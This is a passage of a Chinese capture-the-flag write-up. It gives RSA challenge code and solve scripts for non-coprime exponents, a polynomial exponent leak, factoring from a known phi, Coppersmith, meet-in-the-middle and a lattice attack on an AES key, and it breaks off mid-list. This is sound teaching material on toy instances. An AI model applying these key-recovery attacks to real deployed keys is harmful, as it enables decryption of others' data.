诶，这里有老登偷偷炸鱼(bushi
无意中发现了一个在线Sagemath运行平台 ，10.4版本的 ，有需要可以使用(https://cocalc.com/features/sage
下面是我自己比赛的时候自己做的(密码是river没做，web做了前几题，赛后继续做)，然后再加上一点赛后学习别的师傅的wp整合起来的
基础的RSA，过于简单，不写了
from Crypto.Util.number import getPrime, bytes_to_longp=getPrime(128 ) q=getPrime(128 ) n=p*q phi=(p-1 )*(q-1 ) flag="NSSCTF{xxxxxx}" print ("p=" ,p)print ("q=" ,q)m=bytes_to_long(flag.encode()) e=4 c=pow (m,e,n) print ("c=" ,c)print ("n=" ,n)''' p= 182756071972245688517047475576147877841 q= 305364532854935080710443995362714630091 c= 14745090428909283741632702934793176175157287000845660394920203837824364163635 n= 55807222544207698804941555841826949089076269327839468775219849408812970713531 '''
e = 4 与 ϕ 不互素，经典 A M M ，还是一样，懒人直接上师兄的科技 e=4与\phi 不互素，经典AMM，还是一样，懒人直接上师兄的科技 e = 4 与 ϕ 不 互 素 ， 经 典 A M M ， 还 是 一 样 ， 懒 人 直 接 上 师 兄 的 科 技
from sage.all import *from sage.parallel.multiprocessing_sage import parallel_iter import itertoolsfrom tqdm import tqdmfrom Crypto.Util.number import *import stringdef nth_p (y, n, p, k=1 ): assert is_pseudoprime(p) print ('[LOG] Solving pi = %s^%d' % (hex (p), k)) try : xs = Zmod(p**k)(y).nth_root(n, all =True ) except : xs = GF(p**k)(y).nth_root(n, all =True ) xs = list (set (xs)) xs = [Integer(x) for x in xs] return xs def nthRSA_p (c, e, p, k=1 ): assert is_pseudoprime(p) P = Integer(pow (p, k)) phi = euler_phi(P) rs = [] ei = e while True : r = gcd(phi, ei) if r == 1 : break rs += [r] ei //= r r = product(rs) dr = (e // r).inverse_mod(phi) cr = pow (c, dr, P) return nth_p(cr, r, p, k) def nthRSA_n (c, e, ps, ks=None , checker=None , ret1=False ): assert isinstance (ps, list ) if ks == None : ks = [1 ] * len (ps) else : assert len (ps) == len (ks) ms = [] for i in range (len (ps)): mp = nthRSA_p(c, e, ps[i], ks[i]) ms += [mp] total = product([len (x) for x in ms]) print ('[Log] Doing crt.\nComplexity = %d: %s' % (total, str ([len (x) for x in ms]))) res = [] Ps = [ps[i]**ks[i] for i in range (len (ps))] for msi in tqdm(itertools.product(*ms), total=total): m = crt(list (msi), Ps) if checker == None : res += [m] continue if checker(m): if not ret1: res += [m] continue return m return res def genHeaderChecker (hd ): if isinstance (hd, str ): hd = hd.encode() assert isinstance (hd, bytes ) def checkHeader (m ): try : flag = long_to_bytes(int (m)) if hd in flag: print (flag) return True return False except : return False return checkHeader def genStrChecker (dict , n=65537 def checkStr (m ): try : flag = long_to_bytes(int (m)).decode() for fi in flag[:n]: if not fi in dict : return False print (flag) return True except : return False return checkStr p= 182756071972245688517047475576147877841 q= 305364532854935080710443995362714630091 c= 14745090428909283741632702934793176175157287000845660394920203837824364163635 n= 55807222544207698804941555841826949089076269327839468775219849408812970713531 e = 4 ps = [p, q] checker = genHeaderChecker('NSSCTF' ) res = nthRSA_n(c, e, ps, checker=checker) for r in res: flag = long_to_bytes(int (r)) print (flag)
这里也贴一个别的师傅的脚本 (可以不用上面较为复杂的AMM，所以代码比较简洁)，利用nth_root进行开方根并crt求解
from Crypto.Util.number import *p= 182756071972245688517047475576147877841 q= 305364532854935080710443995362714630091 c= 14745090428909283741632702934793176175157287000845660394920203837824364163635 n= 55807222544207698804941555841826949089076269327839468775219849408812970713531 e= 4 phi = (p-1 )*(q-1 ) gcd = GCD(e,phi) res1 = Zmod(p)(c).nth_root(gcd, all =True ) res2 = Zmod(q)(c).nth_root(gcd, all =True ) for i in res1: for j in res2: m = crt([int (i),int (j)],[p,q]) if m is not None : try : print (long_to_bytes(int (m)).decode()) except Exception as e: continue
from Crypto.Util.number import getPrime, bytes_to_longfrom secret import fflag = b'NSSCTF{test_flag}' p = getPrime(512 ) q = getPrime(512 ) n = p*q m = bytes_to_long(flag) e = 65537 c = pow (m,e,n) R.<x> = ZZ[] f = R(str (f)) w = pow (2 ,f(p),n) print (f'{n = } \n' )print (f'{e = } \n' )print (f'{c = } \n' )print (f'{f = } \n' )print (f'{w = } \n' )''' n = 101780569941880865465631942473186578520071435753163950944409148606282910806650879176280021512435190682009749926285674412651435782567149633130455645157688819845748439487113261739503325065997835517112163014056297017874761742768297646567397770742374004940360061700285170103292360590891188591132054903101398360047 e = 65537 c = 77538275949900942020886849496162539665323546686749270705418870515132296087721218282974435210763225488530925782158331269160555819622551413648073293857866671421886753377970220838141826468831099375757481041897142546760492813343115244448184595644585857978116766199800311200819967057790401213156560742779242511746 f = 2*x^332 - x^331 + x^329 + 3*x^328 - x^327 - 3*x^325 + x^323 - 3*x^322 - x^321 - 3*x^320 + x^319 + 2*x^318 - 4*x^317 - 3*x^315 - 2*x^314 + x^313 + x^312 + 2*x^311 + 2*x^309 + 2*x^308 + 5*x^307 + 2*x^306 + 3*x^305 + 5*x^304 + 4*x^303 + x^302 - x^301 - x^300 - 2*x^299 - 2*x^298 + x^297 + 3*x^296 - x^295 - 4*x^292 - x^290 + 4*x^289 - x^287 - 3*x^286 + x^285 - 2*x^284 + x^283 - x^282 - 2*x^281 + x^280 - 2*x^279 + x^278 + 2*x^277 - 3*x^276 - x^275 - 4*x^274 - 3*x^273 - 5*x^272 - 2*x^271 - 3*x^270 + 2*x^269 + 2*x^268 - x^267 - 2*x^266 + x^265 + x^264 - 3*x^262 - 3*x^259 + 2*x^258 - x^257 + 2*x^256 + 2*x^255 - x^254 - 2*x^253 - x^252 + 2*x^251 - x^250 + x^249 + 2*x^247 + 2*x^246 + 2*x^245 - 2*x^244 - 3*x^243 + 2*x^242 - 3*x^241 - x^240 - 3*x^239 - x^236 - 3*x^235 - 2*x^234 - x^233 - 2*x^232 - x^231 - 3*x^230 - 2*x^229 - 4*x^228 - 2*x^227 - 3*x^226 + 2*x^225 + x^224 - x^223 - 2*x^221 + 3*x^219 - x^217 - 2*x^216 + x^215 + 2*x^213 - x^212 + 3*x^211 + x^210 + 4*x^209 + x^208 - x^206 - x^205 - x^204 + 2*x^203 - 3*x^202 + 2*x^199 - x^198 + 2*x^196 - 2*x^195 + 3*x^194 + 3*x^193 - x^192 + 4*x^191 + 2*x^189 + x^186 - x^185 - x^184 + 3*x^183 + x^182 + 2*x^181 - 2*x^180 + x^177 + x^175 - x^173 + 3*x^172 + x^170 + x^169 - x^167 - 2*x^166 - x^165 - 4*x^164 - 2*x^163 + 2*x^162 + 4*x^161 - 2*x^160 - 3*x^159 - 2*x^158 - 2*x^157 + x^156 - x^155 + 3*x^154 - 4*x^153 + x^151 + 2*x^150 + x^149 - x^148 + 2*x^147 + 3*x^146 + 2*x^145 - 4*x^144 - 4*x^143 + x^142 - 2*x^140 - 2*x^139 + 2*x^138 + 3*x^137 + 3*x^136 + 3*x^135 + x^134 - x^133 + 2*x^132 + 3*x^130 - 3*x^129 - 2*x^128 - x^127 - 2*x^126 + x^125 + x^124 - 2*x^123 + x^122 - x^121 + 3*x^120 - x^119 - 2*x^118 - x^117 - x^116 - 2*x^115 + 2*x^114 + 2*x^113 - 3*x^112 - x^111 - 4*x^110 + x^109 + x^108 + x^106 - 4*x^105 + x^104 - x^103 - x^101 + x^100 - 2*x^99 + x^98 - x^97 + 3*x^96 + 3*x^94 - x^93 - x^92 + x^91 - 2*x^90 + x^89 - x^88 + x^87 - x^86 + x^85 + x^84 - x^83 + x^79 - 3*x^78 - 2*x^77 + x^74 + 3*x^73 - x^72 - 3*x^71 - 2*x^70 + x^69 - 3*x^66 + x^65 + x^64 - 4*x^62 - x^61 + x^60 - x^59 + 3*x^58 - x^57 - x^54 + 3*x^53 + x^51 - 3*x^50 - x^49 + 2*x^47 - x^46 - x^44 + x^43 - x^42 - 4*x^41 - 3*x^39 - x^37 - x^36 - 3*x^35 + x^34 + x^33 - 2*x^32 + 2*x^31 - x^30 + 2*x^29 - 2*x^28 - 2*x^27 - x^24 + x^22 - 5*x^21 + 3*x^20 + 2*x^19 - x^18 + 2*x^17 + x^16 - 2*x^15 - 2*x^14 + x^13 + x^12 + 2*x^11 - 3*x^10 + 3*x^9 + 2*x^8 - 4*x^6 - 2*x^5 - 4*x^4 + x^3 - x^2 - 1 w = 32824596080441735190523997982799829197530203904568086251690542244969244071312854874746142497647579310192994177896837383837384405062036521829088599595750902976191010000575697075792720479387771945760107268598283406893094243282498381006464103080551366587157561686900620059394693185990788592220509670478190685244 '''
根据费马小定理， 2 f ( p ) ( m o d n ) ≡ 2 f ( p ) m o d ( p − 1 ) ( m o d p ) ，这步 s a g e 就可以直接解了 根据费马小定理，2^{f(p)}(mod\ n)\equiv 2^{f(p)\ mod\ (p-1)}(mod\ p)，这步sage就可以直接解了 根 据 费 马 小 定 理 ， 2 f ( p ) ( m o d n ) ≡ 2 f ( p ) m o d ( p − 1 ) ( m o d p ) ， 这 步 s a g e 就 可 以 直 接 解 了 或者有， f ( p ) = f ( 1 ) = − 57 m o d p − 1 或者有，f(p)=f(1)=-57\ mod\ p-1 或 者 有 ， f ( p ) = f ( 1 ) = − 5 7 m o d p − 1 为什么二者相等呢？因为 为什么二者相等呢？因为 为 什 么 二 者 相 等 呢 ？ 因 为 f ( x ) = a n ∗ x n + a n − 1 ∗ x n − 1 + a n − 2 ∗ x n − 2 + . . . + a 0 ∗ x 0 f(x)=a_{n}*x^{n}+a_{n-1}*x^{n-1}+a_{n-2}*x^{n-2}+...+a_{0}*x^{0} f ( x ) = a n ∗ x n + a n − 1 ∗ x n − 1 + a n − 2 ∗ x n − 2 + . . . + a 0 ∗ x 0 f ( p ) m o d p − 1 = a n + a n − 1 + a n − 2 + . . . + a 0 = f ( 1 ) m o d p − 1 f(p)\ mod\ p-1=a_{n}+a_{n-1}+a_{n-2}+...+a_{0}=f(1)\ mod\ p-1 f ( p ) m o d p − 1 = a n + a n − 1 + a n − 2 + . . . + a 0 = f ( 1 ) m o d p − 1
还有位师傅的思路是换元 ，还有下面那题二元的换元消y ，不是很能理解
from Crypto.Util.number import *n = 101780569941880865465631942473186578520071435753163950944409148606282910806650879176280021512435190682009749926285674412651435782567149633130455645157688819845748439487113261739503325065997835517112163014056297017874761742768297646567397770742374004940360061700285170103292360590891188591132054903101398360047 e = 65537 c = 77538275949900942020886849496162539665323546686749270705418870515132296087721218282974435210763225488530925782158331269160555819622551413648073293857866671421886753377970220838141826468831099375757481041897142546760492813343115244448184595644585857978116766199800311200819967057790401213156560742779242511746 w = 32824596080441735190523997982799829197530203904568086251690542244969244071312854874746142497647579310192994177896837383837384405062036521829088599595750902976191010000575697075792720479387771945760107268598283406893094243282498381006464103080551366587157561686900620059394693185990788592220509670478190685244 R.<x> = ZZ[] f = 2 *x^332 - x^331 + x^329 + 3 *x^328 - x^327 - 3 *x^325 + x^323 - 3 *x^322 - x^321 - 3 *x^320 + x^319 + 2 *x^318 - 4 *x^317 - 3 *x^315 - 2 *x^314 + x^313 + x^312 + 2 *x^311 + 2 *x^309 + 2 *x^308 + 5 *x^307 + 2 *x^306 + 3 *x^305 + 5 *x^304 + 4 *x^303 + x^302 - x^301 - x^300 - 2 *x^299 - 2 *x^298 + x^297 + 3 *x^296 - x^295 - 4 *x^292 - x^290 + 4 *x^289 - x^287 - 3 *x^286 + x^285 - 2 *x^284 + x^283 - x^282 - 2 *x^281 + x^280 - 2 *x^279 + x^278 + 2 *x^277 - 3 *x^276 - x^275 - 4 *x^274 - 3 *x^273 - 5 *x^272 - 2 *x^271 - 3 *x^270 + 2 *x^269 + 2 *x^268 - x^267 - 2 *x^266 + x^265 + x^264 - 3 *x^262 - 3 *x^259 + 2 *x^258 - x^257 + 2 *x^256 + 2 *x^255 - x^254 - 2 *x^253 - x^252 + 2 *x^251 - x^250 + x^249 + 2 *x^247 + 2 *x^246 + 2 *x^245 - 2 *x^244 - 3 *x^243 + 2 *x^242 - 3 *x^241 - x^240 - 3 *x^239 - x^236 - 3 *x^235 - 2 *x^234 - x^233 - 2 *x^232 - x^231 - 3 *x^230 - 2 *x^229 - 4 *x^228 - 2 *x^227 - 3 *x^226 + 2 *x^225 + x^224 - x^223 - 2 *x^221 + 3 *x^219 - x^217 - 2 *x^216 + x^215 + 2 *x^213 - x^212 + 3 *x^211 + x^210 + 4 *x^209 + x^208 - x^206 - x^205 - x^204 + 2 *x^203 - 3 *x^202 + 2 *x^199 - x^198 + 2 *x^196 - 2 *x^195 + 3 *x^194 + 3 *x^193 - x^192 + 4 *x^191 + 2 *x^189 + x^186 - x^185 - x^184 + 3 *x^183 + x^182 + 2 *x^181 - 2 *x^180 + x^177 + x^175 - x^173 + 3 *x^172 + x^170 + x^169 - x^167 - 2 *x^166 - x^165 - 4 *x^164 - 2 *x^163 + 2 *x^162 + 4 *x^161 - 2 *x^160 - 3 *x^159 - 2 *x^158 - 2 *x^157 + x^156 - x^155 + 3 *x^154 - 4 *x^153 + x^151 + 2 *x^150 + x^149 - x^148 + 2 *x^147 + 3 *x^146 + 2 *x^145 - 4 *x^144 - 4 *x^143 + x^142 - 2 *x^140 - 2 *x^139 + 2 *x^138 + 3 *x^137 + 3 *x^136 + 3 *x^135 + x^134 - x^133 + 2 *x^132 + 3 *x^130 - 3 *x^129 - 2 *x^128 - x^127 - 2 *x^126 + x^125 + x^124 - 2 *x^123 + x^122 - x^121 + 3 *x^120 - x^119 - 2 *x^118 - x^117 - x^116 - 2 *x^115 + 2 *x^114 + 2 *x^113 - 3 *x^112 - x^111 - 4 *x^110 + x^109 + x^108 + x^106 - 4 *x^105 + x^104 - x^103 - x^101 + x^100 - 2 *x^99 + x^98 - x^97 + 3 *x^96 + 3 *x^94 - x^93 - x^92 + x^91 - 2 *x^90 + x^89 - x^88 + x^87 - x^86 + x^85 + x^84 - x^83 + x^79 - 3 *x^78 - 2 *x^77 + x^74 + 3 *x^73 - x^72 - 3 *x^71 - 2 *x^70 + x^69 - 3 *x^66 + x^65 + x^64 - 4 *x^62 - x^61 + x^60 - x^59 + 3 *x^58 - x^57 - x^54 + 3 *x^53 + x^51 - 3 *x^50 - x^49 + 2 *x^47 - x^46 - x^44 + x^43 - x^42 - 4 *x^41 - 3 *x^39 - x^37 - x^36 - 3 *x^35 + x^34 + x^33 - 2 *x^32 + 2 *x^31 - x^30 + 2 *x^29 - 2 *x^28 - 2 *x^27 - x^24 + x^22 - 5 *x^21 + 3 *x^20 + 2 *x^19 - x^18 + 2 *x^17 + x^16 - 2 *x^15 - 2 *x^14 + x^13 + x^12 + 2 *x^11 - 3 *x^10 + 3 *x^9 + 2 *x^8 - 4 *x^6 - 2 *x^5 - 4 *x^4 + x^3 - x^2 - 1 p = GCD(w-pow (2 ,int (f%(x-1 ),n),n)) q = n // p d = inverse(e, (p - 1 ) * (q - 1 )) print (long_to_bytes(pow (c,d,n)).decode())
f % ( x − 1 ) ，这一看， s a g e 还是太强大了 f\%(x-1)，这一看，sage还是太强大了 f % ( x − 1 ) ， 这 一 看 ， s a g e 还 是 太 强 大 了
from Crypto.Util.number import *def create (): pl = [] for i in range (3 ): pl.append(getPrime(1024 )) return sorted (pl) pl = create() m=b'NSSCTF{xxxxxx}' p,q,r = pl[0 ],pl[1 ],pl[2 ] n = p*q*r phi = (p-1 )*(q-1 )*(r-1 ) e=65537 phi_2=(p-1 )*(q-1 ) n2=p*q c=pow (bytes_to_long(m),e,n2) print (f'n={n} ' )print (f'phi={phi} ' )print (f'c={c} ' )""" n=3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833 phi=3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984394758254181484105857103844940487787404078873566779953101987404891507588290232992132681729619718279684673827347612899406697514777723904351697638562060304399923174376216080338949397741477013367831377040866937433520175862575061413321076151761545984886547872427147498175814451096795344136954743868643889768901204954902708679102384061694877757565486240670882343628571424084461972849147495569088820011108794930593172573959423278140327579049114196086428504291102619820322231225943837444001821535593671764186251713714593498207219093585758479440828038119079608764008747539277397742897542501803218788455452391287578171880267200 c=8847973599594272436100870059187158819529199340583461915617467299706215012295598155778224026186157290320191983062022702191439286020733625396165573681688842631368993650799220713225485752608650482408353598320160571916055498330875851476520668973214124194890108144336715482373743731578734960096351460142579903010557821654345995923836938260379746304222820835040419844947019844885128550552066290798665884099701340641403329066058638137944934073185448687990744852400616823426082588916251127609191094346267837812018236673478691437630461425526779014305216914035039981685211625653600564431704400207095883904994772993227506462664 """
脚本源自https://github.com/jvdsn/crypto-attacks/blob/master/attacks/factorization/known_phi.py SHCTF2024-week4就已经在题目中告诉我们了)
参考题目NKCTF2023-ez_rsa，Google搜attack phi n即可往下找到，作者的github仓库还有好多attack脚本
from Crypto.Util.number import *from math import gcdfrom math import isqrtfrom random import randrangefrom gmpy2 import is_primedef factorize (N, phi ): """ Recovers the prime factors from a modulus if Euler's totient is known. This method only works for a modulus consisting of 2 primes! :param N: the modulus :param phi: Euler's totient, the order of the multiplicative group modulo N :return: a tuple containing the prime factors, or None if the factors were not found """ s = N + 1 - phi d = s ** 2 - 4 * N p = int (s - isqrt(d)) // 2 q = int (s + isqrt(d)) // 2 return p, q def factorize_multi_prime (N, phi ): """ Recovers the prime factors from a modulus if Euler's totient is known. This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize. More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3) :param N: the modulus :param phi: Euler's totient, the order of the multiplicative group modulo N :return: a tuple containing the prime factors """ prime_factors = set () factors = [N] while len (factors) > 0 : N = factors[0 ] w = randrange(2 , N - 1 ) i = 1 while phi % (2 ** i) == 0 : sqrt_1 = pow (w, phi // (2 ** i), N) if sqrt_1 > 1 and sqrt_1 != N - 1 : factors = factors[1 :] p = gcd(N, sqrt_1 + 1 ) q = N // p if is_prime(p): prime_factors.add(p) elif p > 1 : factors.append(p) if is_prime(q): prime_factors.add(q) elif q > 1 : factors.append(q) break i += 1 return list (prime_factors) if __name__ =='__main__' : e=65537 n=3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984460699747964946764645986828307675081596907634022110868102739948513844625534865764252668312850364286204872187001344218083941399088833989233474318289529103178632284291007694811574023047207470113594082533713524606268388742119103653587354956091145288566437795469230667897089543048576812362251576281067933183713438502813206542834734983616378764909202774603304124497453696792428111112644362307853143219890039129054302905340695668256116233515323529918746264727874817221051242387145263342018617858562987223211598238069486447049955021864781104312134816578626968386395835285074116149472750100154961405785440009296096563521430833 phi=3191868707489083296976422171754481125088448532695639929013026951283334085716937496519972309690132954050242378974370025245594553866043111294840209514577676946872746793700126873931085112786381515154186105142460622301297252278473097650013016482539838576476763183025029834004241446095147665598581368214114851984394758254181484105857103844940487787404078873566779953101987404891507588290232992132681729619718279684673827347612899406697514777723904351697638562060304399923174376216080338949397741477013367831377040866937433520175862575061413321076151761545984886547872427147498175814451096795344136954743868643889768901204954902708679102384061694877757565486240670882343628571424084461972849147495569088820011108794930593172573959423278140327579049114196086428504291102619820322231225943837444001821535593671764186251713714593498207219093585758479440828038119079608764008747539277397742897542501803218788455452391287578171880267200 c=8847973599594272436100870059187158819529199340583461915617467299706215012295598155778224026186157290320191983062022702191439286020733625396165573681688842631368993650799220713225485752608650482408353598320160571916055498330875851476520668973214124194890108144336715482373743731578734960096351460142579903010557821654345995923836938260379746304222820835040419844947019844885128550552066290798665884099701340641403329066058638137944934073185448687990744852400616823426082588916251127609191094346267837812018236673478691437630461425526779014305216914035039981685211625653600564431704400207095883904994772993227506462664 fac = factorize_multi_prime(n, phi) p,q,r=sorted (fac) phi=(p-1 )*(q-1 ) n=p*q d=inverse(e,phi) print (long_to_bytes(pow (c,d,n)).decode())
没想到这题居然还可以用coppersmith attack ，长见识了，还得是xm爷
s ≡ c d m o d n 1 ≡ m e ∗ d m o d n 2 m o d n 1 ≡ m m o d n 2 m o d n 1 s\equiv c^{d}\ mod\ n_{1}\equiv m^{e*d}\ mod\ n_{2}\ mod\ n_{1}\equiv m\ mod\ n_{2}\ mod\ n_{1} s ≡ c d m o d n 1 ≡ m e ∗ d m o d n 2 m o d n 1 ≡ m m o d n 2 m o d n 1
同时呢，m肯定是比n1,n2小的，看完exp，怎么说呢，有点似懂非懂(我这里写的思路也不一定对哦)
n = phi = c = e = 65537 d = inverse(e,phi) s = pow (c,d,n) R.<x> = PolynomialRing(Zmod(n)) f = x-s res = f.small_roots(x=2 ^2048 ,beta = 0.4 , epsilon = 0.05 ) print (long_to_bytes(int (res[0 ])).decode())
from Crypto.Util.number import *from hashlib import md5from secret import KEY， flag assert int (KEY).bit_length() == 36 assert not isPrime(KEY)p = getPrime(1024 ) q = getPrime(1024 ) n = p * q e = 0x10001 ck = pow (KEY, e, n) assert flag == b'NSSCTF{' + md5(str (KEY).encode()).hexdigest().encode() + b'}' print (f"{n = } " )print (f"{e = } " )print (f"{ck = } " )''' n = 26563847822899403123579768059987758748518109506340688366937229057385768563897579939399589878779201509595131302887212371556759550226965583832707699167542469352676806103999861576255689028708092007726895892953065618536676788020023461249303717579266840903337614272894749021562443472322941868357046500507962652585875038973455411548683247853955371839865042918531636085668780924020410159272977805762814306445393524647460775620243065858710021030314398928537847762167177417552351157872682037902372485985979513934517709478252552309280270916202653365726591219198063597536812483568301622917160509027075508471349507817295226801011 e = 65537 ck = 8371316287078036479056771367631991220353236851470185127168826270131149168993253524332451231708758763231051593801540258044681874144589595532078353953294719353350061853623495168005196486200144643168051115479293775329183635187974365652867387949378467702492757863040766745765841802577850659614528558282832995416523310220159445712674390202765601817050315773584214422244200409445854102170875265289152628311393710624256106528871400593480435083264403949059237446948467480548680533474642869718029551240453665446328781616706968352290100705279838871524562305806920722372815812982124238074246044446213460443693473663239594932076 '''
中间相遇攻击 ，原理不难，36位的非素数，随便测了几个数字，大致可以分解为18和20位的两个数字
参考https://tangcuxiaojikuai.xyz/post/601c0957.html ，NCTF2021-rsa ，这题还是挺有意思的
from Crypto.Util.number import *from tqdm import tqdmfrom hashlib import md5n = 26563847822899403123579768059987758748518109506340688366937229057385768563897579939399589878779201509595131302887212371556759550226965583832707699167542469352676806103999861576255689028708092007726895892953065618536676788020023461249303717579266840903337614272894749021562443472322941868357046500507962652585875038973455411548683247853955371839865042918531636085668780924020410159272977805762814306445393524647460775620243065858710021030314398928537847762167177417552351157872682037902372485985979513934517709478252552309280270916202653365726591219198063597536812483568301622917160509027075508471349507817295226801011 e = 65537 ck = 8371316287078036479056771367631991220353236851470185127168826270131149168993253524332451231708758763231051593801540258044681874144589595532078353953294719353350061853623495168005196486200144643168051115479293775329183635187974365652867387949378467702492757863040766745765841802577850659614528558282832995416523310220159445712674390202765601817050315773584214422244200409445854102170875265289152628311393710624256106528871400593480435083264403949059237446948467480548680533474642869718029551240453665446328781616706968352290100705279838871524562305806920722372815812982124238074246044446213460443693473663239594932076 secret = 0 S = {pow (i,-e,n):i for i in tqdm(range (1 ,2 **20 ))} inv_ck = inverse(ck,n) for j in range (1 ,2 **18 ): s = inv_ck*(pow (j,e,n))%n if (s in S): secret = S[s]*j flag = b'NSSCTF{' + md5(str (secret).encode()).hexdigest().encode() + b'}' print (flag) break
from Crypto.Util.number import *from Crypto.Cipher import AESimport osfrom Crypto.Util.Padding import padfrom secret import flagmiku = 30 p = getPrime(512 ) key = getPrime(512 ) while key> p: key= getPrime(512 ) ts = [] gs = [] zs = [] for i in range (miku): t = getPrime(512 ) z = getPrime(400 ) g= (t * key + z) % p ts.append(t) gs.append(g) zs.append(z) print (f'p = {p} ' )print (f'ts = {ts} ' )print (f'gs = {gs} ' )iv= os.urandom(16 ) cipher = AES.new(str (key).encode()[:16 ], AES.MODE_CBC,iv) ciphertext=cipher.encrypt(pad(flag.encode(),16 )) print (f'iv={iv} ' )print (f'ciphertext={ciphertext} ' )
下面参考的是小鸡块师傅 的CVP 做法，https://tangcuxiaojikuai.xyz/post/6a2afd81.html
from Crypto.Util.number import *from Crypto.Cipher import AESp = 13401991645840298882794100147034379521242237285821020793208518466205688272722127694554243298223159648613332253774886696888511245155898681828972316158766813 ts = [8016983781273189754281912962247057409930227455812224730112055674262101679986538896353333785641031178561641562965339977035588567181180100475283408488320671 , 12980173980684618239567238092970002844391225790428809984588444288874980047043175328056782109973890659670718383856150425014293022930574469326618263083648099 , 8109856702010014482292978050018141635784057812487351143916154508689142112615449144377702002382005662470835964315028619291602564624893518861557701327890923 , 12785373226115694299429762427866573289359143336748874789256870948157808484043436344897926547699412946084053665605873366419653263394817308889578649556482317 , 12293720016807713691819354075258380849321736691923473670291035750221768289875347194928451102365603432383881559318603460687890903510706219895796459019974867 , 9784378896444105030039569921777285228994264456281120536753266782980679466146906618674672118057906497814953677764528302638725540882074537262487534252076829 , 9241433814815706758885649801540944918822400007457713603674159882791199750057709773097552334465041959969676782253637817171507122904345522225398825682237481 , 11204803848333722110323297716136514262820561394355433234423667799557561253910421337700868735544193790444406938869863716247161888020220901893711513603634809 , 10851090251796215969502640347727949807230163009657915435491546953253351810608099195268759626721620529756828379004467476267712531905975334082089231769707617 , 11250957460128461102060212243723539805901629603092001540925013383541943835129096257407578679799378517176957440298695788786794500447140718667332595080944869 , 12248623923069220370917375593286718711586079377902376988707257328512455851210970182518826733646869485671374318338949112466814956514662420760908691130244383 , 11061068271412202445428992286301637014530049371871820612053163253748795430394720967354122057185625710764847486790478210908967065668096047462000900877243843 , 9250800791153158078642768324800520716511537203538708124830844957330029236789799844775267058446261708862442981956837389747149720449997356553753692631237873 , 11442112467994330302413453979716258058149104607244851803491048585747359474970005873336772224480265499136742622823880716879860377641238675210553131052206691 , 8851268226889934481971979527547782930762103134830344221114784617526682434893736517219781937490279514229768881864475696389373739501629994242420024622585309 , 8761826274329402585517262093482651333161640060627583337505498299736119877176278155436111156185319629046980645810012652601825582701466570339570478108791887 , 8173260008522260126563915135008278248111293487661172115633899079869720932758788675224579864948752039769531398938248083971071345978173279466336354696742377 , 11733325877716881936637372036969125985631514189799569847189115606745019694984456424617859168884541552882900918661071180298079869943357668081866511603361429 , 12798678249651545625305346509566263707129030745621625744465668772298872710674031103310015594375483838020916596533864897632924958154707810583510669376046159 , 11972367565183102195894957634073708898746516169055154830786380821612631063771935949099855541345280195465211676841845799521135332692746439801114025346776451 , 8309485355838062558333744941897142201736283502970173073711189070760311131678107029730686549988329677109870570827466668034034377094834508445549924223585219 , 10037957030668927878463105058548635761147918169468443696251870837018029994579358415317101911755591591785037623566701920710453008930531891302329922308475079 , 13221078857886779075714191159549244640144219704164657103905516889650093241197471185563906205007376146027157620524696025494715411571586859030421582641250071 , 13377141034964464295846379646837504968557246139611266461228568513844912255762222441387410898249170108735540582627742796017922462329606088337301365183628591 , 11503417590216916228951909788782481610038959664264972733435373475346403291387209063270057139621628854733942831548624992555175497319058962145185736395531609 , 10682562966818807073688884352394574841623385668134186058213080078637580526582062737913378756835873195913042020318042792997704842570481165538229628253983417 , 7009494733984067792833862756223517770477471938386639921019003601598472840183655333614008677846799784155444425042016748876974547683111073376705004070094301 , 9396274922380984183217450286560296708001013262936289587249206096013034374236192395477584831821730898646879768741299571262843654547918064041618890696711333 , 9055143657462834722016836241561857041386247088507191351272758917384350750091500866289528933248085632291073921554368989805281660196853938630560350667255913 , 7075881589550115729079726581415060529537262743216265811601339312252250745864621882784185460812341989475906020671174894015501378625757286896275136526488817 ] gs = [3547025130757031371763547817278671805806523773597386380426228204353325314755125874825372064344551510783942287325061869515563511720377069479838665918916338 , 561524185998066303459395863084068415723518371857539287162474295289737845979144864495515229777991463363132381517905379393086271602757286846999926034367409 , 10630918988200018501478600883655233518093875635494077893436132190015060760951001030031068630865667129447250982542911493607849695255758299063471724885107320 , 5385738167688714294394456876987750423263279740302210790063861475593679005286633965917637168163655774852001750955925563171806165861440634515967640179944804 , 3686451063569312252337028014973428925521749963152262622523483348285262144703447272544972123815729823760936936761643322992469583780002855185407873398768127 , 9596580956215126253893458055745193704575088913515678341231900675542245449333964660007025564677263334281046226112471415925784249910282102204627251580303047 , 9656829597739031272294632966205884640125918053307645634673206826103547310810254891833432384622548154588598670746803614688469837172848481449498079690935715 , 9907308304392368929600091658386459655450451232070442677496713774343506026327224070703486188335961098033888098971263207077722473044862118000082007110037557 , 7839372385123283975949639433665292734490760458360682832497005213559939527031767909811695257768341209806346811519315554587887588294359891829457980910373676 , 9524560447616291402016995361580593070951296833074538783490159546001656765257005901587161833656370873513309819850104060230660386406669378214335512722509152 , 8734422874517209772760818316188000967216535009508164549745674472106165337990045713973843427581730460676070294620298664038968581128044873585552989614725336 , 5148158222052082942951739997892280954937954769195857112271289335776175568625514426629773392655353554820374445881301175856523121361252868192790918069469104 , 3405639365216597742633558534342314393231966921971024333387009357007031255109911181571542920889177048552084631482291912851876735480121959418518626599223928 , 6965895908963098896413697893751255263053889382630643791713636829201586125658579731479485123904224727756791164618191156426250811133029277086293720268527300 , 